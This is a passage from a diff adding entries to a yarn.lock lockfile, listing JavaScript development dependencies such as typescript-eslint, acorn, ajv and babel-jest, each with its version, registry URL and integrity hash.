sha512-9aEbYZ3TbYMznPdcdr3SmIrLXwC/AKZXQeCf9Pgao5CKb8CyHuEX5jzWPTkvregvhRJHcpRO6BFoGW9ycaOkYw== + +"@types/yargs-parser@*": + version "21.0.3" + resolved "https://registry.yarnpkg.com/@types/yargs-parser/-/yargs-parser-21.0.3.tgz#815e30b786d2e8f0dcd85fd5bcf5e1a04d008f15" + integrity sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ== + +"@types/yargs@^17.0.33": + version "17.0.35" + resolved "https://registry.yarnpkg.com/@types/yargs/-/yargs-17.0.35.tgz#07013e46aa4d7d7d50a49e15604c1c5340d4eb24" + integrity sha512-qUHkeCyQFxMXg79wQfTtfndEC+N9ZZg76HJftDJp+qH2tV7Gj4OJi7l+PiWwJ+pWtW8GwSmqsDj/oymhrTWXjg== + dependencies: + "@types/yargs-parser" "*" + +"@typescript-eslint/eslint-plugin@^8.62.1": + version "8.62.1" + resolved "https://registry.yarnpkg.com/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.62.1.tgz#1736dcdca6cae3359d818456a47d18b674761f7f" + integrity sha512-4EQM77WgVNxj7OkL/5b/D/xZsw00G577+UriYTC7JF5opcF3T2AuoeY7ueLaZgSVjSgCS6yOAJB5bRGLPSJUzA== + dependencies: + "@eslint-community/regexpp" "^4.12.2" + "@typescript-eslint/scope-manager" "8.62.1" + "@typescript-eslint/type-utils" "8.62.1" + "@typescript-eslint/utils" "8.62.1" + "@typescript-eslint/visitor-keys" "8.62.1" + ignore "^7.0.5" + natural-compare "^1.4.0" + ts-api-utils "^2.5.0" + +"@typescript-eslint/parser@^8.62.1": + version "8.62.1" + resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-8.62.1.tgz#d3f7ba18f1bf78bfb7256fea021d1927b48e7080" + integrity sha512-sPhE4iHuJDSvoAiec+Ro8JyXw8f0ql13HFR82P99nCm9GwTEKG0KYLvDe6REk8BCXuit6vJAv/Yxg5ABaNS2rA== + dependencies: + "@typescript-eslint/scope-manager" "8.62.1" + "@typescript-eslint/types" "8.62.1" + "@typescript-eslint/typescript-estree" "8.62.1" + "@typescript-eslint/visitor-keys" "8.62.1" + debug "^4.4.3" + +"@typescript-eslint/project-service@8.62.1": + version "8.62.1" + resolved "https://registry.yarnpkg.com/@typescript-eslint/project-service/-/project-service-8.62.1.tgz#78d880eb1cf6859b5ec263d04f95403e9f90ae47" + integrity sha512-yQ3RgY5RkSBpsNS1Bx/JQEcA24FOSdfGktoyprAr5u18390UQdtVcfnEv4nIrIshNnavlVyZBKxQwT1fIAE6cg== + dependencies: + "@typescript-eslint/tsconfig-utils" "^8.62.1" + "@typescript-eslint/types" "^8.62.1" + debug "^4.4.3" + +"@typescript-eslint/scope-manager@8.62.1": + version "8.62.1" + resolved "https://registry.yarnpkg.com/@typescript-eslint/scope-manager/-/scope-manager-8.62.1.tgz#7ee65e9a6eb3ccdc4816593a4ff38840306de88a" + integrity sha512-r4d249KbQ1SFdpeStvob8Ih6aPPIzfqllPVOtvhve6ZcpuVcYo5/7zUWckKpHE7StASX4kTKZTLf0WQm/wPkcg== + dependencies: + "@typescript-eslint/types" "8.62.1" + "@typescript-eslint/visitor-keys" "8.62.1" + +"@typescript-eslint/tsconfig-utils@8.62.1", "@typescript-eslint/tsconfig-utils@^8.62.1": + version "8.62.1" + resolved "https://registry.yarnpkg.com/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.62.1.tgz#e2b5f24fe721044189cb7e81117c96d75979d627" + integrity sha512-xadytJqX9vJVQ2fdQjkcIVigwaOJNWkpjdLt6cEQ+xPnrI1fkp+/jZE/I97k9KUjqtpd25i0HeyZf3T6dutv2g== + +"@typescript-eslint/type-utils@8.62.1": + version "8.62.1" + resolved "https://registry.yarnpkg.com/@typescript-eslint/type-utils/-/type-utils-8.62.1.tgz#ebd30b13bacb13070917259a23309cf644121f9a" + integrity sha512-aXM5xlqXiTxPibXB93cLAURfT3rlizf7uMXISCXy66Isr/9hISJx3yDsKl0L7lKa51b8JpFuNKby0/O0pEm9jg== + dependencies: + "@typescript-eslint/types" "8.62.1" + "@typescript-eslint/typescript-estree" "8.62.1" + "@typescript-eslint/utils" "8.62.1" + debug "^4.4.3" + ts-api-utils "^2.5.0" + +"@typescript-eslint/types@8.62.1", "@typescript-eslint/types@^8.62.1": + version "8.62.1" + resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-8.62.1.tgz#c58be954e483b2fc98275374d5bcb40b99842dc1" + integrity sha512-ooCzJFaf+Hg+uG6fA3NRFGuFjlfNlDhBthbv4ZPU/0elCAFUfnyXUvf/WOpHz/jYwSmvU2GkR2LtyUfy1AxZ1Q== + +"@typescript-eslint/typescript-estree@8.62.1": + version "8.62.1" + resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-8.62.1.tgz#98c1bb17635d5b026b24193a8d29188ac64380ff" + integrity sha512-xMcW9oP9u7fAMXYs9A65CVmtLQe2r//oXINHfi8HV+oiqhih17sbLdhXr4540YWlgpDKQdY854OL5ZrdCiQsAA== + dependencies: + "@typescript-eslint/project-service" "8.62.1" + "@typescript-eslint/tsconfig-utils" "8.62.1" + "@typescript-eslint/types" "8.62.1" + "@typescript-eslint/visitor-keys" "8.62.1" + debug "^4.4.3" + minimatch "^10.2.2" + semver "^7.7.3" + tinyglobby "^0.2.15" + ts-api-utils "^2.5.0" + +"@typescript-eslint/utils@8.62.1": + version "8.62.1" + resolved "https://registry.yarnpkg.com/@typescript-eslint/utils/-/utils-8.62.1.tgz#1622b75c7e6df308181dd0b44855dc4228da0457" + integrity sha512-sHtbPfuKNZCG+ih8SyjjucqRntSVmp8XgL5u6o9mAhiSn8ds5o/M/XdM0abweme2Tln3szOstOrZ9OXitvPh0g== + dependencies: + "@eslint-community/eslint-utils" "^4.9.1" + "@typescript-eslint/scope-manager" "8.62.1" + "@typescript-eslint/types" "8.62.1" + "@typescript-eslint/typescript-estree" "8.62.1" + +"@typescript-eslint/visitor-keys@8.62.1": + version "8.62.1" + resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-8.62.1.tgz#499657d77ffafb8a99eb1d6c97847ca430234722" + integrity sha512-4g3BLxfdTMy8iZG0MaBkadnlRrCJ74cQiFbyEVMrkwIoqdyaXXQM22cotDvrl4x28wgIZ9rEJRoM+mmhSJpJ1g== + dependencies: + "@typescript-eslint/types" "8.62.1" + eslint-visitor-keys "^5.0.0" + +"@ungap/structured-clone@^1.3.0": + version "1.3.0" + resolved "https://registry.yarnpkg.com/@ungap/structured-clone/-/structured-clone-1.3.0.tgz#d06bbb384ebcf6c505fde1c3d0ed4ddffe0aaff8" + integrity sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g== + +"@unrs/resolver-binding-android-arm-eabi@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-android-arm-eabi/-/resolver-binding-android-arm-eabi-1.11.1.tgz#9f5b04503088e6a354295e8ea8fe3cb99e43af81" + integrity sha512-ppLRUgHVaGRWUx0R0Ut06Mjo9gBaBkg3v/8AxusGLhsIotbBLuRk51rAzqLC8gq6NyyAojEXglNjzf6R948DNw== + +"@unrs/resolver-binding-android-arm64@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-android-arm64/-/resolver-binding-android-arm64-1.11.1.tgz#7414885431bd7178b989aedc4d25cccb3865bc9f" + integrity sha512-lCxkVtb4wp1v+EoN+HjIG9cIIzPkX5OtM03pQYkG+U5O/wL53LC4QbIeazgiKqluGeVEeBlZahHalCaBvU1a2g== + +"@unrs/resolver-binding-darwin-arm64@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-darwin-arm64/-/resolver-binding-darwin-arm64-1.11.1.tgz#b4a8556f42171fb9c9f7bac8235045e82aa0cbdf" + integrity sha512-gPVA1UjRu1Y/IsB/dQEsp2V1pm44Of6+LWvbLc9SDk1c2KhhDRDBUkQCYVWe6f26uJb3fOK8saWMgtX8IrMk3g== + +"@unrs/resolver-binding-darwin-x64@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-darwin-x64/-/resolver-binding-darwin-x64-1.11.1.tgz#fd4d81257b13f4d1a083890a6a17c00de571f0dc" + integrity sha512-cFzP7rWKd3lZaCsDze07QX1SC24lO8mPty9vdP+YVa3MGdVgPmFc59317b2ioXtgCMKGiCLxJ4HQs62oz6GfRQ== + +"@unrs/resolver-binding-freebsd-x64@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-freebsd-x64/-/resolver-binding-freebsd-x64-1.11.1.tgz#d2513084d0f37c407757e22f32bd924a78cfd99b" + integrity sha512-fqtGgak3zX4DCB6PFpsH5+Kmt/8CIi4Bry4rb1ho6Av2QHTREM+47y282Uqiu3ZRF5IQioJQ5qWRV6jduA+iGw== + +"@unrs/resolver-binding-linux-arm-gnueabihf@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-arm-gnueabihf/-/resolver-binding-linux-arm-gnueabihf-1.11.1.tgz#844d2605d057488d77fab09705f2866b86164e0a" + integrity sha512-u92mvlcYtp9MRKmP+ZvMmtPN34+/3lMHlyMj7wXJDeXxuM0Vgzz0+PPJNsro1m3IZPYChIkn944wW8TYgGKFHw== + +"@unrs/resolver-binding-linux-arm-musleabihf@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-arm-musleabihf/-/resolver-binding-linux-arm-musleabihf-1.11.1.tgz#204892995cefb6bd1d017d52d097193bc61ddad3" + integrity sha512-cINaoY2z7LVCrfHkIcmvj7osTOtm6VVT16b5oQdS4beibX2SYBwgYLmqhBjA1t51CarSaBuX5YNsWLjsqfW5Cw== + +"@unrs/resolver-binding-linux-arm64-gnu@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-arm64-gnu/-/resolver-binding-linux-arm64-gnu-1.11.1.tgz#023eb0c3aac46066a10be7a3f362e7b34f3bdf9d" + integrity sha512-34gw7PjDGB9JgePJEmhEqBhWvCiiWCuXsL9hYphDF7crW7UgI05gyBAi6MF58uGcMOiOqSJ2ybEeCvHcq0BCmQ== + +"@unrs/resolver-binding-linux-arm64-musl@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-arm64-musl/-/resolver-binding-linux-arm64-musl-1.11.1.tgz#9e6f9abb06424e3140a60ac996139786f5d99be0" + integrity sha512-RyMIx6Uf53hhOtJDIamSbTskA99sPHS96wxVE/bJtePJJtpdKGXO1wY90oRdXuYOGOTuqjT8ACccMc4K6QmT3w== + +"@unrs/resolver-binding-linux-ppc64-gnu@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-ppc64-gnu/-/resolver-binding-linux-ppc64-gnu-1.11.1.tgz#b111417f17c9d1b02efbec8e08398f0c5527bb44" + integrity sha512-D8Vae74A4/a+mZH0FbOkFJL9DSK2R6TFPC9M+jCWYia/q2einCubX10pecpDiTmkJVUH+y8K3BZClycD8nCShA== + +"@unrs/resolver-binding-linux-riscv64-gnu@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-riscv64-gnu/-/resolver-binding-linux-riscv64-gnu-1.11.1.tgz#92ffbf02748af3e99873945c9a8a5ead01d508a9" + integrity sha512-frxL4OrzOWVVsOc96+V3aqTIQl1O2TjgExV4EKgRY09AJ9leZpEg8Ak9phadbuX0BA4k8U5qtvMSQQGGmaJqcQ== + +"@unrs/resolver-binding-linux-riscv64-musl@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-riscv64-musl/-/resolver-binding-linux-riscv64-musl-1.11.1.tgz#0bec6f1258fc390e6b305e9ff44256cb207de165" + integrity sha512-mJ5vuDaIZ+l/acv01sHoXfpnyrNKOk/3aDoEdLO/Xtn9HuZlDD6jKxHlkN8ZhWyLJsRBxfv9GYM2utQ1SChKew== + +"@unrs/resolver-binding-linux-s390x-gnu@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-s390x-gnu/-/resolver-binding-linux-s390x-gnu-1.11.1.tgz#577843a084c5952f5906770633ccfb89dac9bc94" + integrity sha512-kELo8ebBVtb9sA7rMe1Cph4QHreByhaZ2QEADd9NzIQsYNQpt9UkM9iqr2lhGr5afh885d/cB5QeTXSbZHTYPg== + +"@unrs/resolver-binding-linux-x64-gnu@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-x64-gnu/-/resolver-binding-linux-x64-gnu-1.11.1.tgz#36fb318eebdd690f6da32ac5e0499a76fa881935" + integrity sha512-C3ZAHugKgovV5YvAMsxhq0gtXuwESUKc5MhEtjBpLoHPLYM+iuwSj3lflFwK3DPm68660rZ7G8BMcwSro7hD5w== + +"@unrs/resolver-binding-linux-x64-musl@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-linux-x64-musl/-/resolver-binding-linux-x64-musl-1.11.1.tgz#bfb9af75f783f98f6a22c4244214efe4df1853d6" + integrity sha512-rV0YSoyhK2nZ4vEswT/QwqzqQXw5I6CjoaYMOX0TqBlWhojUf8P94mvI7nuJTeaCkkds3QE4+zS8Ko+GdXuZtA== + +"@unrs/resolver-binding-wasm32-wasi@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-wasm32-wasi/-/resolver-binding-wasm32-wasi-1.11.1.tgz#752c359dd875684b27429500d88226d7cc72f71d" + integrity sha512-5u4RkfxJm+Ng7IWgkzi3qrFOvLvQYnPBmjmZQ8+szTK/b31fQCnleNl1GgEt7nIsZRIf5PLhPwT0WM+q45x/UQ== + dependencies: + "@napi-rs/wasm-runtime" "^0.2.11" + +"@unrs/resolver-binding-win32-arm64-msvc@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-win32-arm64-msvc/-/resolver-binding-win32-arm64-msvc-1.11.1.tgz#ce5735e600e4c2fbb409cd051b3b7da4a399af35" + integrity sha512-nRcz5Il4ln0kMhfL8S3hLkxI85BXs3o8EYoattsJNdsX4YUU89iOkVn7g0VHSRxFuVMdM4Q1jEpIId1Ihim/Uw== + +"@unrs/resolver-binding-win32-ia32-msvc@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-win32-ia32-msvc/-/resolver-binding-win32-ia32-msvc-1.11.1.tgz#72fc57bc7c64ec5c3de0d64ee0d1810317bc60a6" + integrity sha512-DCEI6t5i1NmAZp6pFonpD5m7i6aFrpofcp4LA2i8IIq60Jyo28hamKBxNrZcyOwVOZkgsRp9O2sXWBWP8MnvIQ== + +"@unrs/resolver-binding-win32-x64-msvc@1.11.1": + version "1.11.1" + resolved "https://registry.yarnpkg.com/@unrs/resolver-binding-win32-x64-msvc/-/resolver-binding-win32-x64-msvc-1.11.1.tgz#538b1e103bf8d9864e7b85cc96fa8d6fb6c40777" + integrity sha512-lrW200hZdbfRtztbygyaq/6jP6AKE8qQN2KvPcJ+x7wiD038YtnYtZ82IMNJ69GJibV7bwL3y9FgK+5w/pYt6g== + +acorn-jsx@^5.3.2: + version "5.3.2" + resolved "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz#7ed5bb55908b3b2f1bc55c6af1653bada7f07937" + integrity sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ== + +acorn@^8.12.0: + version "8.12.1" + resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.12.1.tgz#71616bdccbe25e27a54439e0046e89ca76df2248" + integrity sha512-tcpGyI9zbizT9JbV6oYE477V6mTlXvvi0T0G3SNIYE2apm/G5huBa1+K89VGeovbg+jycCrfhl3ADxErOuO6Jg== + +acorn@^8.16.0: + version "8.16.0" + resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.16.0.tgz#4ce79c89be40afe7afe8f3adb902a1f1ce9ac08a" + integrity sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw== + +ajv@^6.14.0: + version "6.14.0" + resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.14.0.tgz#fd067713e228210636ebb08c60bd3765d6dbe73a" + integrity sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw== + dependencies: + fast-deep-equal "^3.1.1" + fast-json-stable-stringify "^2.0.0" + json-schema-traverse "^0.4.1" + uri-js "^4.2.2" + +ansi-escapes@^4.3.2: + version "4.3.2" + resolved "https://registry.yarnpkg.com/ansi-escapes/-/ansi-escapes-4.3.2.tgz#6b2291d1db7d98b6521d5f1efa42d0f3a9feb65e" + integrity sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ== + dependencies: + type-fest "^0.21.3" + +ansi-regex@^5.0.1: + version "5.0.1" + resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.1.tgz#082cb2c89c9fe8659a311a53bd6a4dc5301db304" + integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ== + +ansi-regex@^6.0.1: + version "6.2.2" + resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-6.2.2.tgz#60216eea464d864597ce2832000738a0589650c1" + integrity sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg== + +ansi-styles@^3.2.1: + version "3.2.1" + resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d" + integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA== + dependencies: + color-convert "^1.9.0" + +ansi-styles@^4.0.0, ansi-styles@^4.1.0: + version "4.3.0" + resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937" + integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg== + dependencies: + color-convert "^2.0.1" + +ansi-styles@^5.2.0: + version "5.2.0" + resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-5.2.0.tgz#07449690ad45777d1924ac2abb2fc8895dba836b" + integrity sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA== + +ansi-styles@^6.1.0: + version "6.2.3" + resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-6.2.3.tgz#c044d5dcc521a076413472597a1acb1f103c4041" + integrity sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg== + +anymatch@^3.1.3: + version "3.1.3" + resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.3.tgz#790c58b19ba1720a84205b57c618d5ad8524973e" + integrity sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw== + dependencies: + normalize-path "^3.0.0" + picomatch "^2.0.4" + +argparse@^1.0.7: + version "1.0.10" + resolved "https://registry.yarnpkg.com/argparse/-/argparse-1.0.10.tgz#bcd6791ea5ae09725e17e5ad988134cd40b3d911" + integrity sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg== + dependencies: + sprintf-js "~1.0.2" + +argparse@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/argparse/-/argparse-2.0.1.tgz#246f50f3ca78a3240f6c997e8a9bd1eac49e4b38" + integrity sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q== + +array-buffer-byte-length@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/array-buffer-byte-length/-/array-buffer-byte-length-1.0.1.tgz#1e5583ec16763540a27ae52eed99ff899223568f" + integrity sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg== + dependencies: + call-bind "^1.0.5" + is-array-buffer "^3.0.4" + +array-buffer-byte-length@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz#384d12a37295aec3769ab022ad323a18a51ccf8b" + integrity sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw== + dependencies: + call-bound "^1.0.3" + is-array-buffer "^3.0.5" + +array-includes@^3.1.9: + version "3.1.9" + resolved "https://registry.yarnpkg.com/array-includes/-/array-includes-3.1.9.tgz#1f0ccaa08e90cdbc3eb433210f903ad0f17c3f3a" + integrity sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ== + dependencies: + call-bind "^1.0.8" + call-bound "^1.0.4" + define-properties "^1.2.1" + es-abstract "^1.24.0" + es-object-atoms "^1.1.1" + get-intrinsic "^1.3.0" + is-string "^1.1.1" + math-intrinsics "^1.1.0" + +array.prototype.findlastindex@^1.2.6: + version "1.2.6" + resolved "https://registry.yarnpkg.com/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.6.tgz#cfa1065c81dcb64e34557c9b81d012f6a421c564" + integrity sha512-F/TKATkzseUExPlfvmwQKGITM3DGTK+vkAsCZoDc5daVygbJBnjEUCbgkAvVFsgfXfX4YIqZ/27G3k3tdXrTxQ== + dependencies: + call-bind "^1.0.8" + call-bound "^1.0.4" + define-properties "^1.2.1" + es-abstract "^1.23.9" + es-errors "^1.3.0" + es-object-atoms "^1.1.1" + es-shim-unscopables "^1.1.0" + +array.prototype.flat@^1.3.3: + version "1.3.3" + resolved "https://registry.yarnpkg.com/array.prototype.flat/-/array.prototype.flat-1.3.3.tgz#534aaf9e6e8dd79fb6b9a9917f839ef1ec63afe5" + integrity sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg== + dependencies: + call-bind "^1.0.8" + define-properties "^1.2.1" + es-abstract "^1.23.5" + es-shim-unscopables "^1.0.2" + +array.prototype.flatmap@^1.3.3: + version "1.3.3" + resolved "https://registry.yarnpkg.com/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz#712cc792ae70370ae40586264629e33aab5dd38b" + integrity sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg== + dependencies: + call-bind "^1.0.8" + define-properties "^1.2.1" + es-abstract "^1.23.5" + es-shim-unscopables "^1.0.2" + +arraybuffer.prototype.slice@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.3.tgz#097972f4255e41bc3425e37dc3f6421cf9aefde6" + integrity sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A== + dependencies: + array-buffer-byte-length "^1.0.1" + call-bind "^1.0.5" + define-properties "^1.2.1" + es-abstract "^1.22.3" + es-errors "^1.2.1" + get-intrinsic "^1.2.3" + is-array-buffer "^3.0.4" + is-shared-array-buffer "^1.0.2" + +arraybuffer.prototype.slice@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz#9d760d84dbdd06d0cbf92c8849615a1a7ab3183c" + integrity sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ== + dependencies: + array-buffer-byte-length "^1.0.1" + call-bind "^1.0.8" + define-properties "^1.2.1" + es-abstract "^1.23.5" + es-errors "^1.3.0" + get-intrinsic "^1.2.6" + is-array-buffer "^3.0.4" + +async-function@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/async-function/-/async-function-1.0.0.tgz#509c9fca60eaf85034c6829838188e4e4c8ffb2b" + integrity sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA== + +available-typed-arrays@^1.0.7: + version "1.0.7" + resolved "https://registry.yarnpkg.com/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz#a5cc375d6a03c2efc87a553f3e0b1522def14846" + integrity sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ== + dependencies: + possible-typed-array-names "^1.0.0" + +babel-jest@30.4.1: + version "30.4.1" + resolved "https://registry.yarnpkg.com/babel-jest/-/babel-jest-30.4.1.tgz#63cba904438bbe64c4cf0acdea87b0a45cb809fc" + integrity sha512-fATAbM8piYxkiXQp3RBXmZHxZVNJZAVXXfyeyCN2Tida3+qJ8ea9UxhiJ2y4fLO90ZImKt6k9FlcH2+rLkJGhw== + dependencies: + "@jest/transform" "30.4.1" + "@types/babel__core" "^7.20.5" + babel-plugin-istanbul "^7.0.1" + babel-preset-jest "30.4.0" + chalk "^4.1.2" + graceful-fs "^4.2.11" + slash "^3.0.0" + +babel-plugin-istanbul@^7.0.1: + version "7.0.1" + resolved "https://registry.yarnpkg.com/babel-plugin-istanbul/-/babel-plugin-istanbul-7.0.1.tgz#d8b518c8ea199364cf84ccc82de89740236daf92" + integrity sha512-D8Z6Qm8jCvVXtIRkBnqNHX0zJ37rQcFJ9u8WOS6tkYOsRdHBzypCstaxWiu5ZIlqQtviRYbgnRLSoCEvjqcqbA== + dependencies: + "@babel/helper-plugin-utils" "^7.0.0" + "@istanbuljs/load-nyc-config" "^1.0.0" + "@istanbuljs/schema" "^0.1.3" + istanbul-lib-instrument "^6.0.2" + test-exclude "^6.0.0" + +babel-plugin-jest-hoist@30.4.0: + version "30.4.0" + resolved "https://registry.yarnpkg.com/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-30.4.0.tgz#f7d6a6d8f435808b56b45a81dc4b61a39e36794a" + integrity sha512-9EdtWM/sSfXLOGLwSn+GS6pIXyBnL07/8gyJlwFXjWy4DxMOyItqyUT29d4lQiS380EZwYlX7/At4PgBS+m2aA== + dependencies: + "@types/babel__core" "^7.20.5" + +babel-preset-current-node-syntax@^1.2.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.2.0.tgz#20730d6cdc7dda5d89401cab10ac6a32067acde6" + integrity sha512-E/VlAEzRrsLEb2+dv8yp3bo4scof3l9nR4lrld+Iy5NyVqgVYUJnDAmunkhPMisRI32Qc4iRiz425d8vM++2fg== + dependencies: + "@babel/plugin-syntax-async-generators" "^7.8.4" + "@babel/plugin-syntax-bigint" "^7.8.3" + "@babel/plugin-syntax-class-properties" "^7.12.13" + "@babel/plugin-syntax-class-static-block" "^7.14.5" + "@babel/plugin-syntax-import-attributes" "^7.24.7" + "@babel/plugin-syntax-import-meta" "^7.10.4" + "@babel/plugin-syntax-json-strings" "^7.8.3" + "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4" + "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3" + "@babel/plugin-syntax-numeric-separator" "^7.10.4" + "@babel/plugin-syntax-object-rest-spread" "^7.8.3" + "@babel/plugin-syntax-optional-catch-binding" "^7.8.3" + "@babel/plugin-syntax-optional-chaining" "^7.8.3" + "@babel/plugin-syntax-private-property-in-object" "^7.14.5" + "@babel/plugin-syntax-top-level-await" "^7.14.5" + +babel-preset-jest@30.4.0: + version "30.4.0" + resolved "https://registry.yarnpkg.com/babel-preset-jest/-/babel-preset-jest-30.4.0.tgz#295486c2ec1127b3dc7d0d2adaa72a1dcaaafccd" + integrity 